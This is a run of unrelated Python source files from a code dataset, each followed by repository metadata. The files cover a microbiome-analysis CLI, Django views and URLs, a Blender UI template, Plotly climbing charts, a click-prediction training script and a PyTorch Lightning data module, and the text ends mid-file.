\"-q\", \"--qemistree\", required=False, show_default=True, default=None,\n help=\"Path to a folder containing Qemistree's feature data \"\n \"(named 'feature-data_<dataset_identifier>.qza'), \"\n \"and tree for each metabolomics dataset \"\n \"(named 'qemistree_<dataset_identifier>.qza')\")\n@click.option(\n \"-z\", \"--classifier\", required=False, show_default=True, default=None,\n help=\"Qiime2 reference taxonomic classifier database to use for 16S\"\n \"reads assignment: https://docs.qiime2.org/2020.2/\"\n \"data-resources/#taxonomy-classifiers-for-use-with-q2-\"\n \"feature-classifier\")\n@click.option(\n \"-u\", \"--run-params\", required=False, show_default=True, default=None,\n help=\"server run parameters\")\n@click.option(\n \"-k\", \"--feature-subsets\", required=False, show_default=True,\n default=None, help=\"Regex to use for subsetting features (yml file)\")\n@click.option(\n \"-g\", \"--sample-subsets\", required=False, show_default=True,\n default=False, help=\"Subsets for DMs, PCoAs, PERMANOVAs, etc (yml file)\")\n@click.option(\n \"-t\", \"--test\", multiple=True, required=False, show_default=True,\n default=False, help=\"Groups to tests between in each PERMANOVA subset \"\n \"(multiple values possible, e.g. '-d sex -d age_cat')\")\n@click.option(\n \"-a\", \"--adonis\", required=False, default=False, show_default=True,\n help=\"Formula for Adonis tests for each PERMANOVA subset (yaml file)\")\n@click.option(\n \"-nstd\", \"--nestedness\", required=False, show_default=True,\n default=False, help=\"Nestedness analysis config (yml file)\")\n@click.option(\n \"-bt\", \"--beta-type\", required=False, show_default=False, multiple=True,\n default=('permanova', 'permdisp',), help=\"Type of beta group significance\",\n type=click.Choice(['permanova', 'anosim', 'permdisp']))\n@click.option(\n \"-prc\", \"--procrustes\", required=False, show_default=True, default=False,\n help=\"Pairs and subsets for procrustes/protests (yaml file)\")\n@click.option(\n \"-mtl\", \"--mantel\", required=False, show_default=True, default=False,\n help=\"Pairs and subsets for mantel test (yaml file)\")\n@click.option(\n \"-ddecay\", \"--dm-decay\", required=False, show_default=True, default=False,\n help=\"Parameters for (not geographic) distance decay analysis (yaml file)\")\n@click.option(\n \"-gdecay\", \"--geo-decay\", required=False, show_default=True,\n default=False, help=\"Parameters for geographic distance decay \"\n \"analysis (yml file)\")\n@click.option(\n \"-c\", \"--collapse\", required=False, show_default=True, default=False,\n help=\"Nominative or rank-based taxonmic collapse per dataset (yaml file)\")\n@click.option(\n \"-tt\", \"--train-test\", required=False, show_default=True, default=False,\n help=\"Train test split per dataset (yaml file)\")\n@click.option(\n \"-phate\", \"--phate\", required=False, default=False, show_default=True,\n help=\"Filters, subsets, parameters and stratifications for the PHATE latent\"\n \" space analysis (yaml file)\")\n@click.option(\n \"-st\", \"--sourcetracking\", required=False, default=False,\n show_default=True, help=\"Filters, subsets, parameters and sink/sources for \"\n \"sourcetracking (yaml file)\")\n@click.option(\n \"-doc\", \"--doc\", required=False, default=False, show_default=True,\n help=\"Filters and subsets for the dissimilarity overlap curves analyses \"\n \" (yaml file)\")\n@click.option(\n \"-s\", \"--diff-models\", required=False, default=False, show_default=True,\n help=\"Formulas for multinomial regression-based differential abundance \"\n \"ranking (songbird) (yaml file)\")\n@click.option(\n \"-m\", \"--mmvec-pairs\", required=False, default=False, show_default=True,\n help=\"Pairs of datasets for which to compute co-occurrences \"\n \"probabilities (mmvec) (yaml file)\")\n@click.option(\n \"-hlg\", \"--mmvec-highlights\", required=False, default=False,\n show_default=True, help=\"Features to highlights on mmvec biplot (per \"\n \"dataset) (yaml file)\")\n@click.option(\n \"-mm\", \"--xmmvec\", required=False, default=False, show_default=True,\n help=\"Config for Xmmvec (yaml file)\")\n@click.option(\n \"-lon\", \"--longi-column\", required=False, default=False, show_default=True,\n help=\"If data is longitudinal; provide the time metadata column\"\n \"for volatility analysis\")\n@click.option(\n \"-chmod\", \"--chmod\", default=None, show_default=True,\n help=\"Change output files permission (default = 664 [= -rw-rw-r--])\")\n@click.option(\n \"-skip\", \"--skip\", default=None, show_default=True, multiple=True,\n help=\"Steps to skip (e.g. if already done or not necessary)\",\n type=click.Choice([\n 'taxonomy',\n 'barplot',\n 'wol',\n 'sepp',\n 'pies',\n 'collapse',\n 'feature_subsets',\n 'alpha',\n 'alpha_merge',\n 'alpha_rarefactions',\n 'alpha_correlations',\n 'alpha_group_significance',\n 'volatility',\n 'phate',\n 'krona',\n 'rpca',\n 'beta',\n 'deicode',\n 'pcoa',\n 'umap',\n 'tsne',\n 'emperor',\n 'empress',\n 'biplot',\n 'emperor_biplot',\n 'empress_biplot',\n 'permanova',\n 'adonis',\n 'doc',\n 'procrustes',\n 'mantel',\n 'nestedness',\n 'dm_decay',\n 'geo_decay',\n 'sourcetracking',\n 'doc',\n 'mmvec',\n 'songbird',\n 'mmbird'\n ]))\n@click.option(\n \"-As\", \"--alphas\", default=None, show_default=True, multiple=True,\n help=\"Alpha diversity indices to use\")\n@click.option(\n \"-Bs\", \"--betas\", default=None, show_default=True, multiple=True,\n help=\"Beta diversity metrics to use\")\n@click.option(\n \"-acc\", \"--account\", default=None, show_default=True,\n help=\"Account name\")\n@click.option(\n \"--biplot/--no-biplot\", default=False, show_default=True,\n help=\"Whether to do the PCoA biplots or not\")\n@click.option(\n \"--force/--no-force\", default=False, show_default=True,\n help=\"Force the re-writing of scripts for all commands\"\n \"(default is to not re-run if output file exists)\")\n@click.option(\n \"--gpu/--no-gpu\", default=False, show_default=True,\n help=\"Use GPUs instead of CPUs for MMVEC\")\n@click.option(\n \"--rarefy/--no-rarefy\", default=False, show_default=True,\n help=\"Whether to rarefy and only perform the routine \"\n \"analyses on the rarefied dataset(s)\")\n@click.option(\n \"--filt-only/--no-filt-only\", default=False, show_default=True,\n help=\"Only process the filtered version (and not also the raw) \"\n \"version of each dataset\")\n@click.option(\n \"-filt3d\", \"--filt3d\", required=False, show_default=False,\n help=\"Levels for the exploration of filtering. Must be a yaml file\")\n@click.option(\n \"--jobs/--no-jobs\", default=True, show_default=True,\n help=\"Whether to prepare Torque jobs from scripts\")\n@click.option(\n \"--torque/--no-torque\", default=False, show_default=True,\n help=\"Whether to prepare Torque and not Slurm jobs\")\n@click.option(\n \"-l\", \"--localscratch\", type=int, show_default=False, default=None,\n help=\"Use localscratch with the provided memory amount (in GB)\")\n@click.option(\n \"--scratch/--no-scratch\", default=False, show_default=True,\n help=\"Use the scratch folder to move files and compute\")\n@click.option(\n \"--userscratch/--no-userscratch\", default=False, show_default=True,\n help=\"Use the userscratch folder to move files and compute\")\n@click.option(\n \"--move-back/--no-move-back\", default=True, show_default=True,\n help=\"Do not move back from scratch (makes sense only for --userscratch)\")\n@click.option(\n \"--cleanup/--no-cleanup\", default=False, show_default=True,\n help=\"Whether to cleanup the TMPDIR and SCRATCH_FOLDER (specific to NRIS)\")\n@click.option(\n \"-x\", \"--chunks\", required=False, show_default=False,\n type=int, default=None,\n help=\"Maximum number of jobs at which extra jobs will be added in chunks\")\n@click.version_option(__version__, prog_name=\"microbiome_analyzer\")\n\ndef run(\n datasets,\n analysis_folder,\n project_name,\n qiime2_env,\n longi_column,\n filter,\n rarefactions,\n feature_subsets,\n test,\n sample_subsets,\n nestedness,\n beta_type,\n procrustes,\n mantel,\n dm_decay,\n geo_decay,\n collapse,\n train_test,\n adonis,\n doc,\n sourcetracking,\n phate,\n biplot,\n force,\n classifier,\n wol_tree,\n sepp_tree,\n qemistree,\n diff_models,\n mmvec_pairs,\n mmvec_highlights,\n xmmvec,\n run_params,\n skip,\n chmod,\n gpu,\n rarefy,\n alphas,\n betas,\n account,\n filt3d,\n filt_only,\n jobs,\n torque,\n localscratch,\n scratch,\n userscratch,\n move_back,\n cleanup,\n chunks\n):\n \"\"\"Write jobs for your pipeline configuration.\"\"\"\n runner(\n datasets=datasets,\n dir=analysis_folder,\n project_name=project_name,\n qiime_env=qiime2_env,\n longi_column=longi_column,\n rarefy=rarefy,\n filter_fp=filter,\n rarefs_fp=rarefactions,\n feature_subsets_fp=feature_subsets,\n tests=test,\n sample_subsets_fp=sample_subsets,\n nestedness_fp=nestedness,\n beta_type=beta_type,\n procrustes_fp=procrustes,\n mantel_fp=mantel,\n dm_decay_fp=dm_decay,\n geo_decay_fp=geo_decay,\n collapse_fp=collapse,\n train_test_fp=train_test,\n adonis_fp=adonis,\n doc_fp=doc,\n sourcetracking_fp=sourcetracking,\n phate_fp=phate,\n biplot=biplot,\n force=force,\n classifier=classifier,\n wol_tree=wol_tree,\n sepp_tree=sepp_tree,\n qemistree=qemistree,\n diff_models_fp=diff_models,\n mmvec_pairs_fp=mmvec_pairs,\n mmvec_highlights_fp=mmvec_highlights,\n xmmvec_fp=xmmvec,\n run_params_fp=run_params,\n skip=skip,\n chmod=chmod,\n gpu=gpu,\n alphas=alphas,\n betas=betas,\n account=account,\n filt3d_fp=filt3d,\n filt_only=filt_only,\n jobs=jobs,\n torque=torque,\n localscratch=localscratch,\n scratch=scratch,\n userscratch=userscratch,\n move_back=move_back,\n cleanup=cleanup,\n chunks=chunks\n )\n","repo_name":"FranckLejzerowicz/microbiome_analyzer","sub_path":"microbiome_analyzer/scripts/modules/run.py","file_name":"run.py","file_ext":"py","file_size_in_byte":12373,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"4001481501","text":"from django.urls import path\nfrom . import views\n\nurlpatterns = [\n path('', views.home_page, name='home-page'),\n path('create/individual', views.add_individual_request, name='add-individual'),\n path('create/company', views.add_company_request, name='add-company'),\n path('dashboard', views.use_dash, name='dashboard'),\n path('logout', views.logoutUser, name='logout'),\n path('all/individual', views.all_individual, name='all'),\n path('about', views.about_page, name='about'),\n path('ethics', views.ethics, name='ethics'),\n\n]","repo_name":"Gemy-star/cuegroup","sub_path":"cuegroup/main/urls.py","file_name":"urls.py","file_ext":"py","file_size_in_byte":548,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"74592161474","text":"#Daniel Andres Fernandez\r\n#daniel.fernandez16@myhunter.cuny.edu\r\n#February 28, 2022\r\n#This program will show the shades of blue\r\n\r\nimport turtle\r\nturtle.colormode(255)\t\t#Allows colors to be given as 0...255\r\nbeef = turtle.Turtle() \r\n\r\nfor i in range(0,255,10):\r\n beef.forward(10)\t\t#Move forward\r\n beef.pensize(i)\t\t#Set the drawing size to be i (larger each time)\r\n beef.color(0,0,i)\t\r\n","repo_name":"danielfdz123/CSCI_127","sub_path":"pg11 (Shades of Blue).py","file_name":"pg11 (Shades of Blue).py","file_ext":"py","file_size_in_byte":413,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"32040852583","text":"from django.contrib.auth import get_user_model, authenticate\nfrom rest_framework import permissions, generics\nfrom rest_framework.authtoken.models import Token\nfrom rest_framework.exceptions import NotAuthenticated, AuthenticationFailed\nfrom rest_framework.response import Response\nfrom rest_framework.views import APIView\n\nfrom members.permissions import IsOwnerOrReadOnly\nfrom .serializer import UserSerializer\n\nUser = get_user_model()\n\n\nclass AuthTokenView(APIView):\n def post(self, request):\n username = request.data.get('username')\n password = request.data.get('password')\n user = authenticate(username=username, password=password)\n if user:\n token, __ = Token.objects.get_or_create(user=user)\n data = {\n 'token': token.key,\n 'user': UserSerializer(user).data,\n }\n return Response(data)\n raise AuthenticationFailed()\n\n\nclass FacebookAuthTokenView(APIView):\n\n def post(self, request):\n facebook_user_id = request.data.get('facebook_user_id')\n access_token = request.data.get('access_token')\n user = authenticate(access_token)\n token = Token.objects.get_or_create(user=user)[0]\n data = {\n 'token': token.key,\n 'user': UserSerializer(user).data,\n }\n return Response(data)\n\n\nclass ProfileView(APIView):\n permission_classes = (\n permissions.IsAuthenticated\n )\n\n def get(self, request):\n return Response(UserSerializer(request.user).data)\n\n\nclass UserList(generics.ListCreateAPIView):\n queryset = User.objects.prefetch_related('wannago_set')\n serializer_class = UserSerializer\n permission_classes = (\n permissions.IsAuthenticatedOrReadOnly,\n )\n\nclass UserDetail(generics.RetrieveUpdateDestroyAPIView):\n queryset = User.objects.all()\n serializer_class = UserSerializer\n permission_classes = (\n permissions.IsAuthenticatedOrReadOnly,\n IsOwnerOrReadOnly,\n )\n\n def get_object(self):\n lookup_url_kwarg = self.lookup_url_kwarg or self.lookup_field\n\n if lookup_url_kwarg not in self.kwargs:\n if not self.request.user.is_authenticated:\n raise NotAuthenticated()\n return self.request.user\n\n user = super().get_object()\n return user\n","repo_name":"wps9th-mongkyo/TeamProject","sub_path":"app/members/apis.py","file_name":"apis.py","file_ext":"py","file_size_in_byte":2344,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"15860919469","text":"import bpy\nfrom bl_ui.generic_ui_list import draw_ui_list\n\n\nclass MyPropGroup(bpy.types.PropertyGroup):\n name: bpy.props.StringProperty()\n\n\nclass MyPanel(bpy.types.Panel):\n bl_label = \"My Label\"\n bl_idname = \"SCENE_PT_list_demo\"\n bl_space_type = 'VIEW_3D'\n bl_region_type = 'UI'\n bl_category = \"My Category\"\n\n def draw(self, context):\n layout = self.layout\n draw_ui_list(\n layout,\n context,\n list_path=\"scene.my_list\",\n active_index_path=\"scene.my_list_active_index\",\n unique_id=\"my_list_id\",\n )\n\n\nclasses = [\n MyPropGroup,\n MyPanel\n]\n\nclass_register, class_unregister = bpy.utils.register_classes_factory(classes)\n\n\ndef register():\n class_register()\n bpy.types.Scene.my_list = bpy.props.CollectionProperty(type=MyPropGroup)\n bpy.types.Scene.my_list_active_index = bpy.props.IntProperty()\n\n\ndef unregister():\n class_unregister()\n del bpy.types.Scene.my_list\n del bpy.types.Scene.my_list_active_index\n\n\nregister()\n","repo_name":"blender/blender","sub_path":"scripts/templates_py/ui_list_generic.py","file_name":"ui_list_generic.py","file_ext":"py","file_size_in_byte":1034,"program_lang":"python","lang":"en","doc_type":"code","stars":10105,"dataset":"github-code","pt":"61"} +{"seq_id":"19370468318","text":"'''\nAuthor: Adam Forestier\nDate: March 31, 2023\nDescription: plotly_graph.py contains the PlotlyGraph class\n'''\nimport json\nimport numpy as np\nimport pandas as pd\nimport plotly.express as px\nimport plotly.offline as pyo\nimport plotly.graph_objs as go\nimport plotly.figure_factory as ff\nimport os\n\nfrom data.data import (\n ROCK_CLIMBING_GRADES,\n US_STATE_TO_ABBREVIATION,\n US_STATE_LIST\n)\nfrom my_credentials import PATH_TO_PROJECT\nfrom users.user import MpUser\n\nclass PlotlyGraph:\n '''\n objects of the PlotlyGraph class contains: \n parameters: a user object\n methods: performs building of graphs files for user dataframe. Moves files to user's filepath \n '''\n def __init__(self, user: MpUser):\n self.user = user\n\n def graph(self) -> None:\n '''\n arguments: self\n returns: none\n description: graph() calls the graphing methods of self\n '''\n self.__distrubtion_of_quality_routes()\n self.__lead_style_count_graphed()\n self.__boulder_style_count_graphed()\n self.__map_pitches_by_state()\n self.__pitches_by_crag()\n self.__feet_by_crag()\n self.__map_feet_by_state()\n self.__feet_by_date()\n self.__pitches_by_date()\n self.__routes_by_style()\n self.__rock_routes_by_grade()\n return\n \n def __move_graph_to_user_folder(self, filename) -> None:\n '''\n arguments: self, name of file to move\n returns: none\n description: moves graph file to proper folder\n '''\n old_path = f'{PATH_TO_PROJECT}\\\\{filename}' \n new_path = f'{PATH_TO_PROJECT}\\\\user_files\\\\{self.user.username}\\\\{filename}'\n if os.path.isfile(new_path):\n os.remove(new_path)\n os.rename(old_path, new_path)\n return\n \n def __change_to_tr_if_no_lead(self, style: str) -> str:\n '''\n arguments: self, string of style type\n returns: original string if not \"Not Led\", else returns Toprope\n description: changes \"Not Led\" to toprope\n '''\n if style == 'Not Led':\n style = 'Toprope'\n return style\n \n def __change_to_boulder_terms(self, style: str) -> str:\n '''\n arguments: self, string of style type\n returns: original string if not onsight or redpoint. Else corrects to boulder terminology of flash or send\n '''\n if style == 'onsight':\n style == 'flash'\n elif style == 'redpoint':\n style == 'send'\n elif style == 'Lead':\n style = 'send'\n return style\n \n def __lead_style_count_graphed(self) -> None:\n '''\n arguments: self\n returns: None\n description: countplot of number of each leadstyle\n '''\n df = self.user.df\n df = df[df['Route Type'] != 'Boulder']\n df['Lead Style'] = np.vectorize(self.__change_to_tr_if_no_lead)(df['Lead Style'])\n fig = px.histogram(df, x='Lead Style', color='Lead Style', title='Roped Climb Style Count', text_auto=True)\n filename = 'Roped Climb Style Count.html'\n pyo.plot(fig, filename=filename)\n self.__move_graph_to_user_folder(filename)\n return\n \n def __boulder_style_count_graphed(self) -> None:\n '''\n arguments: self\n returns: None\n description: countplot of number of each boulder style\n '''\n df = self.user.df\n df = df[df['Route Type'] == 'Boulder']\n if df.shape[0] == 0:\n return\n df['Style'] = np.vectorize(self.__change_to_boulder_terms)(df['Style'])\n fig = px.histogram(df, x='Style', color='Style', title='Boulder Style Count', text_auto=True)\n filename = 'Boulder Style Count.html'\n pyo.plot(fig, filename=filename)\n self.__move_graph_to_user_folder(filename)\n return\n \n def __distrubtion_of_quality_routes(self) -> None:\n '''\n arguments: self\n returns: None\n description: avg_stars_vs_user_stars() creates a scatterplot showing this relationship\n '''\n df = self.user.df\n data = [df['Avg Stars'], df['Your Stars']]\n labels = ['Mountain Project Stars', 'Your Stars']\n fig = ff.create_distplot(data, labels, bin_size=.5, show_hist=False, show_rug=False,)\n fig.update_layout(\n title_text='Distribution of Quality of Routes Climbed',\n xaxis_title='Stars',\n yaxis_title='Density'\n )\n filename = 'Distribution of Route Quality.html'\n pyo.plot(fig, filename=filename)\n self.__move_graph_to_user_folder(filename)\n return\n \n def __map_pitches_by_state(self) -> None:\n '''\n arguments: self\n returns: none\n description: __map_pitches_by_state displays a heat map on a US map by number of pitches done in each state\n '''\n with open('D:\\\\coding\\\\projects\\\\mp-user-tick-analysis\\\\us-states.json') as response:\n states = json.load(response)\n df = self.user.df\n df = df.groupby('Route State').sum()['Pitches']\n df = df.reset_index()\n df.columns = ['State', 'Pitches']\n df = df[df['State'].isin(US_STATE_LIST)]\n df['State'] = df['State'].map(US_STATE_TO_ABBREVIATION)\n max_pitches = df['Pitches'].max()\n fig = px.choropleth(df, geojson=states, locations='State', color='Pitches', color_continuous_scale='Viridis', range_color=(0, max_pitches), scope='usa', title='Pitches Climbed by State')\n fig.update_layout(margin={\"r\":0,\"t\":0,\"l\":0,\"b\":0})\n filename = 'Climbing Map Pitches.html'\n pyo.plot(fig, filename=filename)\n self.__move_graph_to_user_folder(filename)\n return\n \n def __map_feet_by_state(self) -> None:\n '''\n arguments: self\n returns: none\n description: __map_feet_by_state displays a heat map on a US map by number of feet climbed in each state\n '''\n with open('D:\\\\coding\\\\projects\\\\mp-user-tick-analysis\\\\us-states.json') as response:\n states = json.load(response)\n df = self.user.df\n df = df.groupby('Route State').sum()['Length']\n df = df.reset_index()\n df.columns = ['State', 'Feet Climbed']\n df = df[df['State'].isin(US_STATE_LIST)]\n df['State'] = df['State'].map(US_STATE_TO_ABBREVIATION)\n max_pitches = df['Feet Climbed'].max()\n fig = px.choropleth(df, geojson=states, locations='State', color='Feet Climbed', color_continuous_scale='Turbo', range_color=(0, max_pitches), scope='usa', title='Feet Climbed by State')\n fig.update_layout(margin={\"r\":0,\"t\":0,\"l\":0,\"b\":0})\n filename = 'Climbing Map Feet.html'\n pyo.plot(fig, filename=filename)\n self.__move_graph_to_user_folder(filename)\n return\n \n def __pitches_by_crag(self) -> None:\n '''\n arguments: self\n returns: none\n description: __pitches_by_crag graphs the total number of pitches by crag\n '''\n df = self.user.df\n df = df.groupby('Route Crag').sum()['Pitches']\n df = df.reset_index()\n df.columns = ['Crag', 'Pitch Count']\n fig = px.histogram(df, x='Crag', y='Pitch Count', color='Crag', title='Pitches by Crag', text_auto=True)\n filename = 'Pitches by Crag.html'\n pyo.plot(fig, filename=filename)\n self.__move_graph_to_user_folder(filename)\n return\n \n def __feet_by_crag(self) -> None:\n '''\n arguments: self\n returns: none\n description: __feet_by_crag graphs the total number of feet climbed by crag\n '''\n df = self.user.df\n df = df.groupby('Route Crag').sum()['Length']\n df = df.reset_index()\n df.columns = ['Crag', 'Feet Climbed']\n fig = px.histogram(df, x='Crag', y='Feet Climbed', color='Crag', title='Feet Climbed by Crag')\n filename = 'Feet by Crag.html'\n pyo.plot(fig, filename=filename)\n self.__move_graph_to_user_folder(filename)\n return\n \n def __pitches_by_date(self) -> None:\n '''\n arguments: self\n returns: none\n description: __pitches_by_date graphs the total number of pitches by date\n '''\n df = self.user.df\n df = df.groupby('Date').sum()['Pitches']\n df = df.reset_index()\n df.columns = ['Date', 'Pitch Count']\n fig = px.histogram(df, x='Date', y='Pitch Count', title='Pitches by Date', text_auto=True)\n filename = 'Pitches by Date.html'\n pyo.plot(fig, filename=filename)\n self.__move_graph_to_user_folder(filename)\n return\n \n def __feet_by_date(self) -> None:\n '''\n arguments: self\n returns: none\n description: __pitches_by_state graphs the total number of feet climbed by date\n '''\n df = self.user.df\n df = df.groupby('Date').sum()['Length']\n df = df.reset_index()\n df.columns = ['Date', 'Feet Climbed']\n fig = px.histogram(df, x='Date', y='Feet Climbed', title='Feet Climbed by Date')\n filename = 'Feet by Date.html'\n pyo.plot(fig, filename=filename)\n self.__move_graph_to_user_folder(filename)\n return\n \n def __routes_by_style(self) -> None:\n '''\n arguments: self\n returns: none\n description: __routes_by_style graphs the total number of routes by style\n '''\n df = self.user.df\n routes_by_style = df['Route Type'].value_counts()\n routes_by_style = routes_by_style.to_frame()\n routes_by_style = routes_by_style.reset_index()\n routes_by_style.columns = ['Type', 'Route Count']\n fig = px.histogram(routes_by_style, x='Type', y='Route Count', color='Type', title='Routes Climbed by Route Type')\n filename = 'Route Counts by Route Type.html'\n pyo.plot(fig, filename=filename)\n self.__move_graph_to_user_folder(filename)\n return\n \n def __rock_routes_by_grade(self) -> None:\n '''\n arguments: self\n returns: None\n description: __rock_routes_by_grade shows the number of rock climbs done by grade is ascending order of difficulty on the x-axis\n '''\n df = self.user.df\n df['Rating'] = np.vectorize(lambda rating: rating.strip())(df['Rating'])\n df = df[df['Rating'].isin(ROCK_CLIMBING_GRADES)]\n grades = df['Rating'].value_counts()\n grades = grades.reset_index()\n grades.columns = ['Grade', 'Number of Routes']\n fig = px.histogram(grades, x='Grade', y='Number of Routes', color='Grade', title='Number of Rock Routes Climbed by Grade', category_orders={'Grade': ROCK_CLIMBING_GRADES})\n filename = 'Rock Climb Count by Grade.html'\n pyo.plot(fig, filename=filename)\n self.__move_graph_to_user_folder(filename)\n return","repo_name":"atfb10/Monthly-Climbing-Analysis-from-MP-Ticks","sub_path":"data/plotly_graph.py","file_name":"plotly_graph.py","file_ext":"py","file_size_in_byte":10871,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"15653560883","text":"\n# We can directly create a list of cards by using the split method\nlist_cards = input().split()\n\nplayers_a = 11\nplayers_b = 11\n\n# Use for loop to \"play\" the game\nfor element in set(list_cards):\n if \"A\" in element:\n players_a -= 1\n else:\n players_b -= 1\n \n if players_a < 7 or players_b < 7:\n break\n \n# Use conditions to determine what to print\nif players_a < 7 or players_b < 7:\n print (f\"Team A - {players_a}; Team B - {players_b}\")\n print (\"Game was terminated\")\nelse:\n print (f\"Team A - {players_a}; Team B - {players_b}\")\n\n","repo_name":"geodimitrov/Python-Fundamentals-SoftUni","sub_path":"Lists/Basics/03. football_cards.py","file_name":"03. football_cards.py","file_ext":"py","file_size_in_byte":581,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"61"} +{"seq_id":"29189527781","text":"from math import ceil\nimport pickle\nfrom LightModel import LightModel\nfrom avazuGenerators import visitsGenerator\n\nALPHA =0.000025\nNFEATURES = 2**26\nNEPOCHS = 10\n\nPATH = \"..\\\\data\\\\train1IPID.csv\"\nTEST_PATH = \"..\\\\data\\\\test1IPID.csv\"\nSUB_PATH = \"..\\\\data\\\\test.csv\"\nOUT_PATH = \"..\\\\data\\\\submission.csv\"\n\nSIZE_BATCH = 500000\nNUM_EXAMPLES_TRAIN = (40428968 - 8051546) / 1\nNUM_BATCH_TRAIN = ceil(NUM_EXAMPLES_TRAIN / SIZE_BATCH)\nNUM_EXAMPLES_TEST = 8051546 / 1\nNUM_BATCH_TEST = ceil(NUM_EXAMPLES_TEST / SIZE_BATCH)\n\nNUM_TEST_BATCH = 40\n\ndef save(classifier):\n fid = open(\"class.pkl\",\"wb\")\n pickle.dump(classifier, fid)\n fid.close()\n\nload = input(\"Load or train?(l/t)\")\n\n\nif load == \"t\":\n Class = LightModel(ALPHA, NEPOCHS, mustShuffle=True)\n #TRAINING\n print(\"Starting training.\")\n generator = visitsGenerator(PATH, NUM_BATCH_TRAIN, SIZE_BATCH)\n Class.train(generator, v=True)\n\n #TESTING\n print(\"Starting testing.\")\n generator = visitsGenerator(TEST_PATH, NUM_BATCH_TEST, SIZE_BATCH)\n Class.test(generator, v=True)\n\n\nelse:\n classFile = open(\"class.pkl\",\"rb\")\n Class = pickle.load(classFile)\n\n\n#WRITE SUBMISSION\ninput(\"Go on with submission?\")\n\noutputFile = open(OUT_PATH, \"w\")\noutputFile.write(\"id,click\\n\")\n\ni = 0\ngen = testGenerator(SUB_PATH, NUM_TEST_BATCH, featCreators = funcs)\npredictionGen = Class.generatePrediction(gen)\n\nfor pBatch, idBatch in predictionGen:\n outputText = \"\"\n for example in range(len(pBatch)):\n ID = idBatch[example]\n click = pBatch[example][1] #Class 1\n outputText += str(ID) + \",\" + str(click) + \"\\n\"\n outputFile.write(outputText)\n print(100 * i / NUM_TEST_BATCH, \"%\")\n i += 1\n\noutputFile.close()\n","repo_name":"EtienneDesticourt/Kaggle-Avazu","sub_path":"clean/runLight.py","file_name":"runLight.py","file_ext":"py","file_size_in_byte":1704,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"61"} +{"seq_id":"25763105433","text":"\"\"\"Implementation of the general data set module.\"\"\"\n\nimport os\nfrom logging import getLogger\nfrom typing import List\nfrom typing import NoReturn\n\nfrom pytorch_lightning import LightningDataModule\nfrom torch.utils.data import DataLoader\nfrom torch.nn import Module\n\nfrom model_training.data_set import ImageClassificationDataSet, TripletDataSet\n\nlogger = getLogger(__file__)\n\nSPLIT_FOLDERS = [\"train\", \"val\", \"test\"]\nDATA_FOLDER = \"data\"\nANNOTATION_FOLDER = \"annotations\"\n\nDATA_SETS = {0: ImageClassificationDataSet, 1: TripletDataSet}\n\n\nclass DataModule(LightningDataModule):\n def __init__(\n self,\n data_dir: str,\n set_id: int,\n train_transforms: Module = None,\n val_transforms: Module = None,\n test_transforms: Module = None,\n train_batch_size=1,\n val_batch_size=1,\n test_batch_size=1,\n image_dim: List[int] = None,\n **kwargs\n ) -> NoReturn:\n \"\"\"Standardized form for the handling of the data loading\n and providing to the model.\n\n Args:\n data_dir (str): Parent folder for train/val/test data.\n set_id (int): Selector for the data set to process the data.\n train_transforms (Module, optional): Augmentations applied to the train set. Defaults to None.\n val_transforms (Module, optional): Augmentations applied to the val set. Defaults to None.\n test_transforms (Module, optional): Augmentations applied to the test set. Defaults to None.\n train_batch_size (int, optional): Batch sizes used for the train set. Defaults to 1.\n val_batch_size (int, optional): Batch sizes used for the val set. Defaults to 1.\n test_batch_size (int, optional): Batch sizes used for the test set. Defaults to 1.\n image_dim (List[int], optional): Dimension of images as a standard for the training. Defaults to None.\n \"\"\"\n super().__init__(\n train_transforms=train_transforms,\n val_transforms=val_transforms,\n test_transforms=test_transforms,\n dims=tuple(image_dim),\n )\n\n self.data_dir = data_dir\n self.data_set = DATA_SETS[set_id]\n self._check_data_dir()\n\n self.train_batch_size = train_batch_size\n self.val_batch_size = val_batch_size\n self.test_batch_size = test_batch_size\n\n # these kwargs can be used\n # to provide further specific\n # parameters\n self.kwargs = kwargs\n self.setup()\n\n def _check_data_dir(self) -> NoReturn:\n \"\"\"Checks if all required folders\n are existent.\n\n Raises:\n ValueError: Not all required folders exist.\n \"\"\"\n if not all(map(lambda x: x in os.listdir(self.data_dir), SPLIT_FOLDERS)):\n raise ValueError(\n \"'%s' has to contain the folders %s\", self.data_dir, SPLIT_FOLDERS\n )\n\n def setup(self) -> NoReturn:\n \"\"\"Setup of the datasets for the different training stages.\"\"\"\n self.data_dict = {}\n for split_folder in SPLIT_FOLDERS:\n self.data_dict[split_folder] = {}\n data_folder, annotation_folder = list(\n map(\n lambda x, folder=split_folder: os.path.join(\n self.data_dir, folder, x\n ),\n [DATA_FOLDER, ANNOTATION_FOLDER],\n )\n )\n data_files = self._collect_files(data_folder)\n annotation_files = list(\n map(\n lambda x, folder=annotation_folder: os.path.join(\n folder,\n os.path.basename(x)\n .replace(\".png\", \".json\")\n .replace(\".jpg\", \".json\"),\n ),\n data_files,\n )\n )\n\n if split_folder == \"train\":\n self.train_set = self.data_set(\n data_files,\n annotation_files,\n self.train_transforms,\n self.dims,\n **self.kwargs\n )\n elif split_folder == \"val\":\n self.val_set = self.data_set(\n data_files,\n annotation_files,\n self.val_transforms,\n self.dims,\n **self.kwargs\n )\n if split_folder == \"test\":\n self.test_set = self.data_set(\n data_files,\n annotation_files,\n self.test_transforms,\n self.dims,\n **self.kwargs\n )\n\n def train_dataloader(self) -> DataLoader:\n \"\"\"Dataloader getter to stream the data for training from.\n\n Returns:\n DataLoader: Train Dataloader object.\n \"\"\"\n return DataLoader(\n self.train_set, batch_size=self.train_batch_size, shuffle=True\n )\n\n def val_dataloader(self) -> DataLoader:\n \"\"\"Dataloader getter to stream the data for validation from.\n\n Returns:\n DataLoader: Val Dataloader object.\n \"\"\"\n return DataLoader(self.val_set, batch_size=self.val_batch_size)\n\n def test_dataloader(self) -> DataLoader:\n \"\"\"Dataloader getter to stream the data for training from.\n\n Returns:\n DataLoader: Train Dataloader object.\n \"\"\"\n return 